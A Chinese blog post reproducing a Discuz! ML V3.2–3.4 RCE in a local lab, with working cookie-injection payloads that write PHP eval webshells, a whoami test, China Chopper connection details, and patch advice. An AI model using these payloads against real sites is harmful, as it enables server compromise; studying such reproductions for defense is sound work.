Discuz! ML RCE漏洞 getshell 復現


0x00 Discuz簡介

  Discuz!ML是一個由CodersClub.org創建的多語言,集成,功能齊全的開源網絡平台, 用於構建像“社交網絡”這樣的互聯網社區。

0x01 影響版本

  Discuz! ML V3.2

  Discuz! ML V3.3

  Discuz! ML V3.4

0x02 環境搭建

  phpstudy(php-7.2.10-nts Apache)

  Discuz 3.4 源碼(官網下載:http://discuz.ml/download 之后將源碼解壓到根目錄 /WWW

0x03 漏洞復現

右上角語言標識,隨便選擇一種語言並抓包

 

 

將抓到的包發送到repeater模塊
將包中的xxxxx_language參數值改為 '.phpinfo().' ,可以看到成功執行了代碼,得到了phpinfo信息,如下圖:

 

 

 

Getshell
exp:
解碼后:
  '. file_put_contents('shell.php',urldecode('%3c%3fphp %20eval(%24_%47%45%54%5b%22cmd%22%5d)%3b%3f%3e')).'
解碼前:
  '. file_put_contents('shell.php',urldecode('')
將包中的xxxxx_language參數值改為解碼后的exp,可以看到成功執行了代碼,在文件夾中多出了shell.php文件,
如下圖

 

 查看文件upload

 

 

 

url后加shell.php?cmd=system('whoami');

 

 

直接執行了whoami命令
 
 
Exp:
'. file_put_contents('shelll.php',urldecode('%3c%3fphp %20eval(%24_%50%4f%53%54%5b%22a1%22%5d)%3b%3f%3e')).'
原語句:<?php  eval($_POST["a1"]);?>
將包中cookie的xxxxx_language參數值改為exp,可以看到成功執行了代碼,在文件夾中多出了shelll.php文件,

如下圖

 

 訪問執行shelll.php

 

 執行后使用菜刀連接

  http://127.0.0.1/discuz/upload/shelll.php

  密碼:a1(可自己修改)

 

 

 0x04 修復建議

  (1)修改source/function/function_core.php 644行為:
   /*vot*/ $cachefile = './data/template/'.'sc'.'_'.(defined('STYLEID') ? STYLEID.'_' :    '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';
  (2)刪除可控變量。
  (3)或者安裝最新補丁。

感覺博主寫的不錯的,右邊贊賞點一點,嘿嘿→_→

小白一枚!

謝謝觀看!

 

博主公眾號

 

 

本文歡迎轉載。 如轉載請務必注明出處。 覺得寫的不錯的可以右側打賞一手。 群在上邊歡迎大家來撩。

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM